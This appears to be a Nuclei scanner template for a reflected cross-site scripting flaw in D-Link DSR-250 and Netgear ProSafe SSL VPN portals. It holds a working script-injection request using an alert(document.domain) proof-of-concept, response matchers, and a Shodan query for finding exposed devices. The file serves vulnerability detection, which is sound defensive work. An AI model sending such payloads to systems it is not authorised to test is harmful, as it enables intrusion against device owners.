id: dlink-netgear-xss

info:
  name: Dlink DSR-250 and Netgear Prosafe - Cross-Site Scripting
  author: gtrrnr,vulnspace
  severity: medium
  description: |
    Dlink DSR-250 and Netgear Prosafe are vulnerable to reflected cross site scripting endpoint scgi-bin/platform.cgi in parameter SSLVPN.
  reference:
    - https://www.encripto.no/forskning/whitepapers/Netgear_prosafe_advisory_june_2015.pdf
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
    cvss-score: 4.3
    cwe-id: CWE-80
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"DSR-250"
  tags: xss,dlink,dsr250,netgear,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/scgi-bin/platform.cgi?page=portalLogin.htm&portal=SSLVPN"><script>alert(document.domain)</script>'

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(response, "text/html")'
          - 'contains_any(body, "D-Link","Login.PortalName")'
          - 'contains(body, "value=\"SSLVPN\"><script>alert(document.domain)</script>")'
        condition: and
# digest: 4a0a0047304502202b70e399ddc4afb0aeab8c5998c6e5d5c85724a3fad3e825eafbfd0109a6a34f022100da4722ee280ccbf07576221261b2ce8ba358ced84050677cfbfc659d3ac382a9:922c64590222798bb761d5b6d8e72950